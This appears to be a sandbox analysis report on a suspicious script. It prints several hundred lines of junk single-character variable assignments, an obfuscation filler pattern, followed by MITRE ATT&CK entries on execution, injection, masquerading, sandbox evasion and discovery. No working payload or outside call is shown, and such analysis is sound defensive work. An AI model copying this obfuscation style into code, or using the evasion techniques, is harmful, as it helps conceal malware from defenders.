420	vsejdd = "A";
421	vsejdd = "s";
422	vsejdd = "T";
423	vsejdd = "h";
424	vsejdd = "U";
425	vsejdd = "g";
426	vsejdd = "t";
427	vsejdd = "8";
428	cozywcl = "t";
429	cozywcl = "y";
430	cozywcl = "a";
431	cozywcl = "z";
432	cozywcl = "M";
433	cozywcl = "C";
434	cozywcl = "F";
435	lrdzql = "o";
436	lrdzql = "r";
437	lrdzql = "g";
438	lrdzql = "n";
439	lrdzql = "P";
440	lrdzql = "U";
441	lrdzql = "z";
442	lrdzql = "d";
443	lrdzql = "b";
444	lrdzql = "s";
445	lrdzql = "P";
446	lrdzql = "k";
447	lrdzql = "u";
448	lrdzql = "f";
449	lrdzql = "\"";
450	uwzzztt = "X";
451	uwzzztt = "G";
452	uwzzztt = "U";
453	uwzzztt = "W";
454	uwzzztt = "m";
455	uwzzztt = "s";
456	uwzzztt = "w";
457	uwzzztt = "b";
458	uwzzztt = "c";
459	uwzzztt = "L";
460	uwzzztt = "Q";
461	uwzzztt = "L";
462	uwzzztt = "H";
463	uwzzztt = "J";
464	uwzzztt = "x";
465	uwzzztt = "E";
466	uwzzztt = "V";
467	uwzzztt = "p";
468	uwzzztt = "q";
469	uwzzztt = "L";
470	uwzzztt = "B";
471	uwzzztt = "S";
472	uwzzztt = "K";
473	uwzzztt = "c";
474	uwzzztt = "k";
475	uwzzztt = "c";
476	uwzzztt = "I";
477	uwzzztt = "g";
478	uwzzztt = "T";
479	uwzzztt = "A";
480	uwzzztt = "z";
481	uwzzztt = "e";
482	uwzzztt = "g";
483	uwzzztt = "x";
484	uwzzztt = "P";
485	uwzzztt = "E";
486	vbrnmceaj = "I";
487	vbrnmceaj = "Z";
488	vbrnmceaj = "A";
489	vbrnmceaj = "o";
490	vbrnmceaj = "n";
491	vbrnmceaj = "C";
492	vbrnmceaj = "l";
493	vbrnmceaj = "r";
494	vbrnmceaj = "n";
495	vbrnmceaj = "M";
496	vbrnmceaj = "G";
497	vbrnmceaj = "W";
498	vbrnmceaj = "e";
499	vbrnmceaj = "F";
500	vbrnmceaj = "q";
501	vbrnmceaj = "L";
502	vbrnmceaj = "e";
503	vbrnmceaj = "V";
504	vbrnmceaj = "L";
505	vbrnmceaj = "x";
506	vbrnmceaj = "I";
507	vbrnmceaj = "E";
508	vbrnmceaj = "c";
509	vbrnmceaj = ":";
510	buflpnmgj = "V";
511	buflpnmgj = "d";
512	buflpnmgj = "J";
513	buflpnmgj = "R";
514	buflpnmgj = "B";
515	buflpnmgj = "_";
516	yvybdm = "p";
517	yvybdm = "q";
518	yvybdm = "j";
519	yvybdm = "p";
520	yvybdm = "q";
521	yvybdm = "f";
522	yvybdm = "A";
523	yvybdm = "m";
524	yvybdm = "F";
525	yvybdm = "V";
526	yvybdm = "v";
527	yvybdm = "D";
528	yvybdm = "W";
529	yvybdm = "H";
530	yvybdm = "f";
531	yvybdm = "z";
532	yvybdm = "K";
533	yvybdm = "C";
534	yvybdm = "R";
535	yvybdm = "G";
536	yvybdm = "G";
537	yvybdm = "F";
538	yvybdm = "B";
539	yvybdm = "k";
540	yvybdm = "C";
541	yvybdm = "e";
542	yvybdm = "T";
543	yvybdm = "S";
544	pxczkt = "K";
545	pxczkt = "v";
546	pxczkt = "L";
547	pxczkt = "o";
548	pxczkt = "x";
549	pxczkt = "a";
550	pxczkt = "b";
551	pxczkt = "X";
552	pxczkt = "K";
553	pxczkt = "Z";
554	pxczkt = "x";
555	pxczkt = "d";
556	pxczkt = "w";
557	pxczkt = "K";
558	pxczkt = "c";
559	pxczkt = "g";
560	pxczkt = "S";
561	pxczkt = "d";
562	pxczkt = "o";
563	pxczkt = "G";
564	pxczkt = "r";
565	pxczkt = "m";
566	pxczkt = "E";
567	pxczkt = "x";
568	pxczkt = "y";
569	pxczkt = "H";
570	pxczkt = "U";
571	pxczkt = "t";
572	pxczkt = "W";
573	pxczkt = "H";
574	pxczkt = "W";
575	pxczkt = "J";
576	pxczkt = "n";
577	pxczkt = "P";
578	pxczkt = "E";
579	pxczkt = "m";
580	pxczkt = "U";
581	pxczkt = "K";
582	pxczkt = "S";
583	pxczkt = "V";
584	pxczkt = "P";
585	pxczkt = "F";
586	pxczkt = "q";
587	pxczkt = "v";
588	hkvvxsi = "S";
589	hkvvxsi = "V";
590	hkvvxsi = "E";
591	hkvvxsi = "Q";
592	hkvvxsi = "n";
593	tujvioejd = "M";
594	tujvioejd = "f";
595	tujvioejd = "l";
596	tujvioejd = "w";
597	tujvioejd = "X";
598	tujvioejd = "j";
599	tujvioejd = "y";
600	tujvioejd = "R";
601	tujvioejd = "K";
602	tujvioejd = "h";
603	tujvioejd = "X";
604	tujvioejd = "a";
605	tujvioejd = "W";
606	tujvioejd = "b";
607	tujvioejd = "j";
608	tujvioejd = "Z";
609	tujvioejd = "D";
610	tujvioejd = "H";
611	tujvioejd = "s";
612	tujvioejd = "p";
613	tujvioejd = "J";
614	tujvioejd = "l";
615	tujvioejd = "d";
616	tujvioejd = "E";
617	tujvioejd = "M";
618	tujvioejd = "U";
619	tujvioejd = "A";
620	tujvioejd = "o";
621	tujvioejd = "p";
622	tujvioejd = "I";
623	tujvioejd = "Y";
624	tujvioejd = "J";
625	tujvioejd = "O";
626	tujvioejd = "F";
627	tujvioejd = "G";
628	tujvioejd = "N";
629	tujvioejd = "%";
630	vvobw = "H";
631	vvobw = "y";
632	vvobw = "l";
633	vvobw = "B";
634	vvobw = "B";
635	vvobw = "B";
636	vvobw = "C";
637	vvobw = "M";
638	vvobw = "b";
639	vvobw = "K";
640	vvobw = "i";
641	vvobw = "r";
642	vvobw = "G";
643	vvobw = "E";
644	vvobw = "l";
645	vvobw = "f";
646	vvobw = "x";
647	vvobw = "S";
648	vvobw = "i";
649	tkdsqd = "a";
650	tkdsqd = "P";
651	tkdsqd = "W";
652	tkdsqd = "E";
653	tkdsqd = "y";
654	tkdsqd = "F";
655	tkdsqd = "C";
656	tkdsqd = "V";
657	tkdsqd = "h";
658	tkdsqd = "h";
659	tkdsqd = "C";
660	tkdsqd = "s";
661	tkdsqd = "m";
662	tkdsqd = "k";
663	tkdsqd = "q";
664	tkdsqd = "z";
665	tkdsqd = "B";
666	tkdsqd = "K";
667	tkdsqd = "d";
668	tkdsqd = "K";
669	kyhsegje = "p";
670	kyhsegje = "h";
671	kyhsegje = "b";
672	kyhsegje = "Y";
673	kyhsegje = "d";
674	kyhsegje = "o";
675	kyhsegje = "S";
676	kyhsegje = "O";
677	kyhsegje = "H";
678	gjswei = "J";
679	gjswei = "b";
680	gjswei = "q";
681	gjswei = "g";
682	gjswei = "c";
683	gjswei = "Z";
684	gjswei = "m";
685	gjswei = "g";
686	gjswei = "J";
687	gjswei = "A";
688	gjswei = "/";
689	rwokfcwwf = "S";
690	rwokfcwwf = "O";
691	rwokfcwwf = "O";
692	rwokfcwwf = "p";
693	rwokfcwwf = "t";
694	rwokfcwwf = "o";
695	rwokfcwwf = "G";
696	rwokfcwwf = "z";
697	rwokfcwwf = "M";
698	rwokfcwwf = "k";
699	rwokfcwwf = "h";
700	rwokfcwwf = "u";
701	rwokfcwwf = "h";
702	rwokfcwwf = "K";
703	rwokfcwwf = "U";
704	rwokfcwwf = "h";
705	rwokfcwwf = "e";
706	rwokfcwwf = "F";
707	rwokfcwwf = "C";
708	rwokfcwwf = "E";
709	rwokfcwwf = "U";
710	rwokfcwwf = "W";
711	rwokfcwwf = "a";
712	rwokfcwwf = "V";
713	rwokfcwwf = "Z";
714	rwokfcwwf = "G";
715	rwokfcwwf = "B";
716	rwokfcwwf = "F";
717	rwokfcwwf = "i";
718	rwokfcwwf = "O";
719	rwokfcwwf = "Y";
720	rwokfcwwf = "k";
721	cyzayz = "T";
722	cyzayz = "K";
723	cyzayz = "h";
724	cyzayz = "N";
725	cyzayz = "b";
726	cyzayz = "l";
727	kvgjimrk = "x";
728	kvgjimrk = "R";
729	kvgjimrk = "a";
730	kvgjimrk = "G";
731	kvgjimrk = "j";
732	kvgjimrk = "x";
733	kvgjimrk = "K";
734	kvgjimrk = "A";
735	kvgjimrk = "q";
736	kvgjimrk = "f";
737	kvgjimrk = "y";
738	kvgjimrk = "t";
739	kvgjimrk = "N";
740	kvgjimrk = "U";
741	kvgjimrk = "S";
742	kvgjimrk = "t";
743	kvgjimrk = "w";
744	eljdpskx = "Z";
745	eljdpskx = "I";
746	eljdpskx = "j";
747	eljdpskx = "d";
748	eljdpskx = "X";
749	eljdpskx = "v";
750	eljdpskx = "k";
751	eljdpskx = "G";
752	eljdpskx = "H";
753	eljdpskx = "h";
754	eljdpskx = "s";
755	eljdpskx = "G";
756	eljdpskx = "x";
757	eljdpskx = "h";
758	eljdpskx = "M";
759	eljdpskx = "u";
760	ytamkqvx = "N";
761	ytamkqvx = "g";
762	ytamkqvx = "h";
763	ytamkqvx = "Q";
764	ytamkqvx = "f";
765	ytamkqvx = "Y";
766	ytamkqvx = "S";
767	ytamkqvx = "U";
768	ytamkqvx = "r";
769	ytamkqvx = "b";
770	ytamkqvx = "j";
771	ytamkqvx = "H";
772	ytamkqvx = "b";
773	ytamkqvx = "A";
774	ytamkqvx = "P";
775	ytamkqvx = "c";
776	ytamkqvx = "l";
777	ytamkqvx = "v";
778	ytamkqvx = "M";
779	ytamkqvx = "j";
780	ytamkqvx = "W";
781	ytamkqvx = "K";
782	ytamkqvx = "M";
783	ytamkqvx = "m";
784	ytamkqvx = "a";
785	ytamkqvx = "S";
786	ytamkqvx = "c";
787	ytamkqvx = "W";
788	ytamkqvx = "I";
789	ytamkqvx = "X";
790	ytamkqvx = "d";
791	ytamkqvx = "f";
792	ytamkqvx = "J";
793	ytamkqvx = "L";
794	ytamkqvx = "3";
795	pighyhw = "m";
796	pighyhw = "D";
797	pighyhw = "E";
798	pighyhw = "k";
799	pighyhw = "r";
800	pighyhw = "w";
801	pighyhw = "m";
802	pighyhw = "P";
803	pighyhw = "E";
804	pighyhw = "n";
805	pighyhw = "x";
806	pighyhw = "P";
807	pighyhw = "K";
808	pighyhw = "B";
809	pighyhw = "l";
810	pighyhw = "E";
811	pighyhw = "U";
812	pighyhw = "M";
813	pighyhw = "l";
814	pighyhw = "m";
815	pighyhw = "z";
816	pighyhw = "c";
817	pighyhw = "C";
818	pighyhw = "D";
819	pighyhw = "e";
820	pighyhw = "o";
821	pighyhw = "l";
822	pighyhw = "Z";
823	pighyhw = "O";
824	pwamf = "Z";
825	pwamf = "I";
826	pwamf = "L";
827	pwamf = "v";
828	pwamf = "w";
829	pwamf = "W";
830	sglahz = "e";
831	sglahz = "h";
832	sglahz = "g";
833	sglahz = "N";
834	rlsqrym = "n";
835	rlsqrym = "s";
836	rlsqrym = "d";
837	rlsqrym = "o";
838	rlsqrym = "d";
839	rlsqrym = "D";
840	rlsqrym = "4";
841	zqxfs = "x";
842	zqxfs = "h";
843	zqxfs = "D";
844	zqxfs = "t";
845	zqxfs = "I";
846	zqxfs = "t";
847	zqxfs = "y";
848	zqxfs = "m";
849	zqxfs = "s";
850	zqxfs = "Q";
851	zqxfs = "k";
852	zqxfs = "N";
853	zqxfs = "l";
854	zqxfs = "D";
855	zqxfs = "I";
856	zqxfs = "I";
857	zqxfs = "D";
858	zqxfs = "K";
859	zqxfs = "S";
860	zqxfs = "i";
861	zqxfs = "r";
862	zqxfs = "z";
863	zqxfs = "q";
864	zqxfs = "J";
865	zqxfs = "l";
866	zqxfs = "q";
867	zqxfs = "E";
868	zqxfs = "C";
869	zqxfs = "Z";
870	zqxfs = "j";
871	yzgzzrw = "o";
872	yzgzzrw = "D";
873	yzgzzrw = "T";
874	yzgzzrw = "o";
875	yzgzzrw = "n";
876	yzgzzrw = "E";
877	yzgzzrw = "U";
878	yzgzzrw = "F";
879	yzgzzrw = "p";
880	yzgzzrw = "N";
881	yzgzzrw = "f";
882	tptocw = "R";
883	tptocw = "Z";
884	tptocw = "w";
885	tptocw = "t";
886	tptocw = "g";
887	tptocw = "e";
888	tptocw = "m";
889	tptocw = "q";
890	tptocw = "N";
891	tptocw = "r";
892	tptocw = "O";
893	tptocw = "s";
894	tptocw = "r";
895	tptocw = "D";
896	tptocw = "v";
897	tptocw = "y";
898	tptocw = "J";
899	tptocw = "r";
900	tptocw = "r";
901	tptocw = "z";
902	tptocw = "V";
903	tptocw = "b";
904	tptocw = "T";
905	tptocw = "K";
906	tptocw = "L";
907	tptocw = "P";
908	tptocw = "Q";
909	tptocw = "b";
910	tptocw = "L";
911	tptocw = "j";
912	tptocw = "j";
913	tptocw = "j";
914	tptocw = "G";
915	tptocw = "f";
916	tptocw = "X";
917	tptocw = "1";
918	muntjt = "t";
919	muntjt = "j";
920	muntjt = "M";
921	muntjt = "w";
922	muntjt = "p";
923	muntjt = "v";
924	muntjt = "h";
925	muntjt = "A";
926	muntjt = "V";
927	muntjt = "T";
928	muntjt = "o";
929	muntjt = "L";
930	muntjt = "O";
931	muntjt = "H";
932	muntjt = "w";
933	muntjt = "w";
934	muntjt = "g";
935	muntjt = "h";
936	muntjt = "o";
937	muntjt = "L";
938	muntjt = "h";
939	muntjt = "C";
940	muntjt = "o";
941	muntjt = "b";
942	muntjt = "y";
943	muntjt = "l";
944	muntjt = "q";
945	muntjt = "T";
946	muntjt = "j";
947	muntjt = "Q";
948	muntjt = "C";
949	muntjt = "x";
950	muntjt = "m";
951	muntjt = "L";
952	muntjt = "r";
953	muntjt = "r";
954	muntjt = "e";
955	osacjg = "H";
956	osacjg = "z";
957	osacjg = "f";
958	osacjg = "x";
959	osacjg = "p";
960	osacjg = "g";
961	osacjg = "r";
962	osacjg = "p";
963	osacjg = "M";
964	osacjg = "@";
965	koasl = "a";
966	koasl = "u";
967	koasl = "a";
968	koasl = "r";
969	koasl = "d";
970	koasl = "G";
971	koasl = "f";
972	koasl = "v";
973	koasl = "a";
974	koasl = "E";
975	koasl = "F";
976	koasl = "N";
977	koasl = "v";
978	koasl = "Y";
979	koasl = "S";
980	koasl = "Y";
981	koasl = "j";
982	koasl = "d";
983	koasl = "M";
984	koasl = "l";
985	koasl = "R";
986	koasl = "d";
987	koasl = "I";
988	koasl = "a";
989	koasl = "r";
990	koasl = "d";
991	koasl = "q";
992	koasl = "R";
993	koasl = "Z";
994	koasl = "b";
995	dujbqqu = "n";
996	dujbqqu = "g";
997	dujbqqu = "D";
998	dujbqqu = "s";
999	dujbqqu = "f";
1000	dujbqqu = "5";
1001	odfowdawb = "D";
1002	odfowdawb = "F";
1003	odfowdawb = "T";
1004	odfowdawb = "E";
1005	odfowdawb = "M";
1006	odfowdawb = "g";
1007	odfowdawb = "o";
1008	odfowdawb = "P";
1009	odfowdawb = "h";
1010	odfowdawb = "C";
1011	odfowdawb = "z";
1012	odfowdawb = "J";
1013	odfowdawb = "g";
1014	odfowdawb = "z";
1015	odfowdawb = "b";
1016	odfowdawb = "E";
1017	odfowdawb = "F";
1018	odfowdawb = "Z";
1019	odfowdawb = "D";
1020	odfowdawb = "C";
1021	odfowdawb = "Y";
1022	odfowdawb = "l";
1023	odfowdawb = "m";
1024	odfowdawb = "9";
1025	rkkmnpwjq = "v";
1026	rkkmnpwjq = "Z";
1027	rkkmnpwjq = "L";
1028	rkkmnpwjq = "U";
1029	rkkmnpwjq = "Y";
1030	rkkmnpwjq = "m";
1031	rkkmnpwjq = "n";
1032	rkkmnpwjq = "v";
1033	rkkmnpwjq = "z";
1034	rkkmnpwjq = "T";
1035	rkkmnpwjq = "Q";
1036	tmhrjgdjn = "d";
1037	tmhrjgdjn = "I";
1038	tmhrjgdjn = "m";
1039	tmhrjgdjn = "C";
1040	tmhrjgdjn = "X";
1041	tmhrjgdjn = "n";
1042	tmhrjgdjn = "x";
1043	tmhrjgdjn = "E";
1044	tmhrjgdjn = "X";
1045	tmhrjgdjn = "k";
1046	tmhrjgdjn = "Z";
1047	tmhrjgdjn = "F";
1048	tmhrjgdjn = "d";
1049	tmhrjgdjn = "P";
1050	tmhrjgdjn = "M";
1051	tmhrjgdjn = "u";
1052	tmhrjgdjn = "v";
1053	tmhrjgdjn = "g";
1054	tmhrjgdjn = "m";
1055	tmhrjgdjn = "I";
1056	tmhrjgdjn = "B";
1057	tmhrjgdjn = "v";
1058	tmhrjgdjn = "Y";
1059	tmhrjgdjn = "Y";
1060	stvasrpo = "t";
1061	stvasrpo = "O";
1062	stvasrpo = "x";
1063	mtqwqye = "r";
1064	mtqwqye = "R";
1065	mtqwqye = "E";
1066	mtqwqye = "d";
1067	mtqwqye = "u";
1068	mtqwqye = "z";
1069	mtqwqye = "O";
1070	mtqwqye = "t";
1071	mtqwqye = "s";
1072	mtqwqye = "j";
1073	mtqwqye = "L";
1074	mtqwqye = "F";
1075	mtqwqye = "Z";
1076	mtqwqye = ".";
1077	okultgr = "y";
1078	okultgr = "n";
1079	okultgr = "b";
1080	okultgr = "I";
1081	okultgr = "D";
1082	okultgr = "g";
1083	okultgr = "F";
1084	okultgr = "s";
1085	okultgr = "T";
1086	okultgr = "M";
1087	okultgr = "i";
1088	okultgr = "w";
1089	okultgr = "T";
1090	okultgr = "o";
1091	okultgr = "a";
1092	tovlkgign = "S";
1093	tovlkgign = "l";
1094	tovlkgign = "h";
1095	tovlkgign = "D";
1096	tovlkgign = "w";
1097	tovlkgign = "P";
1098	tovlkgign = "A";
1099	tovlkgign = "h";
1100	tovlkgign = "Y";
1101	tovlkgign = "Y";
1102	tovlkgign = "t";
1103	tovlkgign = "s";
1104	tovlkgign = "M";
1105	tovlkgign = "C";
1106	tovlkgign = "V";
1107	tovlkgign = "W";
1108	tovlkgign = "L";
1109	tovlkgign = "Q";
1110	tovlkgign = "F";
1111	tovlkgign = "\\";
1112	eldzzawfm = "A";
1113	eldzzawfm = "u";
1114	eldzzawfm = "e";
1115	eldzzawfm = "c";
1116	eldzzawfm = "e";
1117	eldzzawfm = "v";
1118	eldzzawfm = "Q";
1119	eldzzawfm = "t";
1120	kajrna = "z";
1121	kajrna = "A";
1122	kajrna = "B";
1123	kajrna = "k";
1124	kajrna = "d";
1125	kajrna = "Z";
1126	kajrna = "F";
1127	kajrna = "F";
1128	kajrna = "B";
1129	kajrna = "d";
1130	kajrna = "e";
1131	kajrna = "h";
1132	kajrna = "J";
1133	kajrna = "B";
1134	kajrna = "W";
1135	kajrna = "X";
1136	kajrna = "K";
1137	kajrna = "S";
1138	kajrna = "N";
1139	kajrna = "o";
1140	kajrna = "C";
1141	kajrna = "O";
1142	kajrna = "E";
1143	kajrna = "W";
1144	kajrna = "M";
1145	kajrna = "P";
1146	kmemzwle = "C";
1147	kmemzwle = "E";
1148	kmemzwle = "o";
1149	kmemzwle = "e";
1150	kmemzwle = "S";
1151	kmemzwle = "U";
1152	kmemzwle = "s";
1153	kmemzwle = "S";
1154	kmemzwle = "l";
1155	kmemzwle = "K";
1156	kmemzwle = "A";
1157	kmemzwle = "Z";
1158	kmemzwle = "W";
1159	kmemzwle = "L";
1160	kmemzwle = "f";
1161	kmemzwle = "k";
1162	kmemzwle = "v";
1163	kmemzwle = "d";
1164	kmemzwle = "y";
1165	kmemzwle = "z";
1166	kmemzwle = "H";
1167	kmemzwle = "C";
1168	kmemzwle = "m";
1169	kmemzwle = "d";
1170	kmemzwle = "W";
1171	kmemzwle = "i";
1172	kmemzwle = "Z";
1173	kmemzwle = "b";
1174	kmemzwle = "C";
1175	kmemzwle = "L";
1176	kmemzwle = "a";
1177	kmemzwle = "f";
1178	kmemzwle = "c";
1179	bzuetqhj = "F";
1180	bzuetqhj = "K";
1181	bzuetqhj = "E";
1182	bzuetqhj = "h";
1183	bzuetqhj = "p";
1184	bzuetqhj = "C";
1185	bzuetqhj = "x";
1186	bzuetqhj = "F";
1187	bzuetqhj = "N";
1188	bzuetqhj = "U";
1189	bzuetqhj = "P";
1190	bzuetqhj = "L";
1191	bzuetqhj = "v";
1192	bzuetqhj = "j";
1193	bzuetqhj = "b";
1194	bzuetqhj = "m";
1195	bzuetqhj = "E";
1196	bzuetqhj = "y";
1197	bzuetqhj = "W";
1198	bzuetqhj = "O";
1199	bzuetqhj = "K";
1200	bzuetqhj = "c";
1201	bzuetqhj = "h";
1202	bzuetqhj = "j";
1203	bzuetqhj = "v";
1204	bzuetqhj = "r";
1205	bzuetqhj = "t";
1206	bzuetqhj = "N";
1207	bzuetqhj = "W";
1208	bzuetqhj = "y";
1209	bzuetqhj = "G";
1210	bzuetqhj = "E";
1211	bzuetqhj = "w";
1212	bzuetqhj = "F";
1213	bzuetqhj = "D";
1214	bzuetqhj = "b";
1215	bzuetqhj = "b";
1216	bzuetqhj = "p";
1217	bzuetqhj = "d";
1218	bzuetqhj = "L";
1219	bzuetqhj = "E";
1220	bzuetqhj = "m";
1221	yzwbed = "f";
1222	yzwbed = "c";
1223	yzwbed = "Q";
1224	yzwbed = "-";
1225	nedslgg = "Q";
1226	nedslgg = "s";
1227	nedslgg = "k";
1228	nedslgg = "V";
1229	nedslgg = "e";
1230	nedslgg = "j";
1231	nedslgg = "n";
1232	nedslgg = "o";
1233	nedslgg = "s";
1234	nedslgg = "j";
1235	nedslgg = "g";
1236	nedslgg = "w";
1237	nedslgg = "D";
1238	nedslgg = "K";
1239	nedslgg = "v";
1240	nedslgg = "i";
1241	nedslgg = "a";
1242	nedslgg = "o";
1243	qgffrggkk = "d";
1244	qgffrggkk = "L";
1245	qgffrggkk = "s";
1246	qgffrggkk = "P";
1247	qgffrggkk = "a";
1248	qgffrggkk = "n";
1249	qgffrggkk = "Z";
1250	qgffrggkk = "O";
1251	qgffrggkk = "O";
1252	qgffrggkk = "d";
1253	qgffrggkk = "S";
1254	qgffrggkk = "Y";
1255	qgffrggkk = "Z";
1256	qgffrggkk = "C";
1257	qgffrggkk = "s";
1258	qgffrggkk = "Q";
1259	qgffrggkk = "U";
1260	qgffrggkk = "M";
1261	qgffrggkk = "q";
1262	qgffrggkk = "t";
1263	qgffrggkk = "q";
1264	qgffrggkk = "l";
1265	qgffrggkk = "e";
1266	qgffrggkk = "p";
1267	qgffrggkk = "d";
1268	qgffrggkk = "O";
1269	qgffrggkk = "m";
1270	qgffrggkk = "x";
1271	qgffrggkk = "S";
1272	qgffrggkk = "i";
1273	qgffrggkk = "s";
1274	tskuxdpkf = "m";
1275	tskuxdpkf = "T";
1276	tskuxdpkf = "V";
1277	tskuxdpkf = "h";
1278	tskuxdpkf = "T";
1279	tskuxdpkf = "m";
1280	tskuxdpkf = "B";
1281	tskuxdpkf = "A";
1282	tskuxdpkf = "f";
1283	tskuxdpkf = "P";
1284	tskuxdpkf = "O";
1285	tskuxdpkf = "F";
1286	tskuxdpkf = "d";
1287	tskuxdpkf = "b";
1288	tskuxdpkf = "b";
1289	tskuxdpkf = "r";
1290	quwakbftk = "a";
1291	quwakbftk = "e";
1292	quwakbftk = "b";
1293	quwakbftk = "N";
1294	quwakbftk = "B";
1295	quwakbftk = "e";
1296	quwakbftk = "W";
1297	quwakbftk = "N";
1298	quwakbftk = "U";
1299	quwakbftk = "e";
1300	quwakbftk = "G";
1301	quwakbftk = "E";
1302	quwakbftk = "d";
1303	quwakbftk = "N";
1304	quwakbftk = "X";
1305	quwakbftk = "x";
1306	quwakbftk = "R";
1307	quwakbftk = "v";
1308	quwakbftk = "H";
1309	quwakbftk = "V";
1310	quwakbftk = "U";
1311	quwakbftk = "g";
1312	quwakbftk = "R";
1313	quwakbftk = "I";
1314	quwakbftk = "Z";
1315	quwakbftk = "0";
1316	edddsnhtw ( );	edddsnhtw() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

